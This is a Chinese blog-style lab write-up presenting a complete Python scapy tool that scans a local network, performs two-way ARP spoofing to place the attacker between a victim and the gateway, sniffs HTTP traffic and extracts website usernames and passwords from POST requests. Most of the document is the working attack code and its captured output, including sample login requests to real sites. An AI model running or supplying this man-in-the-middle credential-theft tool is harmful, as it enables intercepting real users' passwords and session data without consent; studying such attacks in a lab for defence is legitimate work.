Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码

实验环境:攻击者:物理机win7;被攻击者:虚拟机Windows 2008,两者使用桥接模式,使其同处一个局域网下;

实验目的:使用物理机win7去攻击虚拟机Windows2008 ,并获取用户在Windows2008上登录某网站的用户名和密码信息;实现对信息的嗅探。

实验原理:要获取被被攻击者登录某网站的用户名和密码信息,就需要了解上网一般使用的是应用层的http协议。

   HTTP 请求主要有两种方法:GET 和 POST

   GET - 从指定的资源请求数据。

   POST - 向指定的资源提交要被处理的数据

所以,此次实验主要针对的是http请求中的post方法;

实验步骤

(1) 使用scapy模块扫描出局域网内的活跃的主机,打印出IP地址和MAC地址;

(2) ARP欺骗分两种,一是主机型欺骗,而是网关型欺骗;

Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码_第1张图片

(3) 选择局域网内的某个主机进行ARP欺骗,使被攻击者认为我就是网关;

Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码_第2张图片

(4) 再去欺骗网关,我是被攻击者,实现双向欺骗,使自己位于网关和被攻击者间的透明中继;

    Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码_第3张图片

(5) 对抓取到的登录网站的数据包进行分析,获取需要的用户名和密码信息;

>>>

(6) scapy对应用层的数据包不能准确识别,智能用Raw替代;所以,我们需要先获取Raw中的load信息;

b'POST /Default2.aspx HTTP/1.1\r\nHost: 202.200.112.210\r\nConnection: keep-alive\r\nContent-Length: 212\r\nCache-Control: max-age=0\r
/202.200.112.210\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Window
 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/
webp,image/apng,*/*;q=0.8\r\nReferer: http://202.200.112.210/\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\n
SessionId=folxrbq0arm5jdmbuwoidz55\r\n\r\n__VIEWSTATE=dDwtNTE2MjI4MTQ7Oz74%2FgDxTawfZAV831VtlWiI90NFVg%3D%3D&__VIEWSTATEGENERATOR=9271
=1&Textbox1=&TextBox2=&txtSecretCode=&RadioButtonList1=%D1%A7%C9%FA&Button1=&lbLanguage=&hidPdrs=&hidsc='

(7) 可以发现load中的信息为二进制流,需要对其进行解码;使用  p.load.decode(encoding='utf-8',errors='ignore') 来实现;

'POST /Default2.aspx HTTP/1.1\r\nHost: 202.200.112.210\r\nConnection: keep-alive\r\nContent-Length: 212\r\nCache-Control: max-age=0\r\
202.200.112.210\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/x
ebp,image/apng,*/*;q=0.8\r\nReferer: http://202.200.112.210/\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nC
essionId=folxrbq0arm5jdmbuwoidz55\r\n\r\n__VIEWSTATE=dDwtNTE2MjI4MTQ7Oz74%2FgDxTawfZAV831VtlWiI90NFVg%3D%3D&__VIEWSTATEGENERATOR=92719
1&Textbox1=&TextBox2=&txtSecretCode=&RadioButtonList1=%D1%A7%C9%FA&Button1=&lbLanguage=&hidPdrs=&hidsc='

(8) 接下来就是对解码后的信息进行字符串处理,获取上网的网址和账户信息;

代码如下:

#局域网黑客工具集
from scapy.all import *
import os
import time
from threading import Thread

#扫描——-->本机ip和网关
gw=''   #定义网关
wifi = 'Realtek 8821AE Wireless LAN 802.11ac PCI-E NIC'  #本机网络接口

#扫描局域网,显示活跃主机
def scan():
    global gw
    for line in os.popen('route print'):
        s=line.strip()   #去掉每行的空格
        if s.startswith('0.0.0.0'):
            slist=s.split()
            ip=slist[3]
            gw=slist[2]
            break
    print('本机上网的IP是:',ip)
    print('本机上网的网关是:', gw)
    tnet=gw+'/24'      #本网络

    #构造一个ARP广播包,向整个网络的每台主机发起ARP广播
    p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)
    #ans 表示收到的包的回复
    ans, unans = srp(p, iface=wifi, timeout=2,verbose=0)
    print("一共扫描到%d台主机:" % len(ans))
    #将需要的IP地址和Mac地址存放在result列表中
    result = []
    for s, r in ans:
        # 解析收到的包,提取出需要的IP地址和MAC地址
        result.append([r[ARP].psrc, r[ARP].hwsrc])
    result.sort()
    #打印出活跃主机的IP地址和MAC地址
    for ip, mac in result:
        print(ip, "------>", mac)

#密码
def showpwd(p):
    #应用层的数据包使用scapy显示的是Raw
    if p.haslayer(Raw):
        try:
            data=p.load.decode(encoding='utf-8',errors='ignore')
            #两种 HTTP 请求方法:GET 和 POST
            # GET - 从指定的资源请求数据。
            # POST - 向指定的资源提交要被处理的数据
            if data.startswith("POST"):
                print("登录此网站的时间为:",time.strftime("%Y%m%d %H:%M:%S"))
                # 观察数据,将应用层的信息以\r\n\r\n进行分割;
                head,txt=data.split("\r\n\r\n")
                #再将前半部分按照换行进行分割;
                hlist=head.split('\r\n')
                for line in hlist:
                    #寻找主机(网址)
                    if line.startswith('Host'):
                        url="http://"+line.split()[-1]
                        break
            print("访问的网站为:",url)
            print("网站的登录信息为:\n",txt)
        except:
            pass

#抓包
def capture(target,t):
    #过滤条件
    tj="tcp port 80 and host "+target
    pkts=sniff(iface=wifi,filter=tj,prn=showpwd,timeout=t)
    #将获取到的包进行保存
    fname="p%d.pacp"%int(time.time())
    wrpcap(fname,pkts)
    print("抓包数据已存入文件%s"%fname)

#ARP攻击
def spoof():
    target=input("请输入攻击目标:")
    t=int(input("请输入攻击时间(S):"))

    ct=Thread(target=capture,args=(target,t))
    ct.start()

    for i in range(2*int(t)):
        # 构造欺骗数据包,告诉被攻击者,我是网关(双向欺骗)
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=target, psrc=gw),verbose=0)
        # 构造欺骗数据包,告诉网关,我是被攻击者
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=gw, psrc=target),verbose=0)
        time.sleep(0.5)
    ct.join()
    print("攻击结束!")

def main():
    print("==================欢迎使用橘子女侠的黑客工具!===================")
    while 1:
        sel=input("请选择要进行的操作:1.局域网扫描,2.ARP攻击和获取上网信息,3.退出\n")
        #局域网扫描
        if sel=='1':
            scan()
        #ARP欺骗和攻击,并获取被攻击者的上网信息(用户名和密码)
        elif sel=='2':
            if not gw:
                print("请先执行扫描程序")
            else:
                spoof()
        elif sel=='3':
            print("欢迎下次使用,再见!")
            break
        else:
            print("输入有误,请重新输入!")

if __name__=="__main__":
    main()

结果如下:

运行代码,然后选择Windows2008进行攻击,可以获取到Windows2008的上网信息;

登录的网站为http://mail.xjtu.edu.cn/ 

用户名为123456,密码为123456;

Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码_第4张图片

Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码_第5张图片

再次进行尝试,登录的网站为http://202.200.112.210/

用户名为123456789   密码为111111  验证码为2222

Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码_第6张图片

Python编程——通过ARP欺骗,获取被攻击者登录某网站的用户名和密码_第7张图片

你可能感兴趣的:(python编程)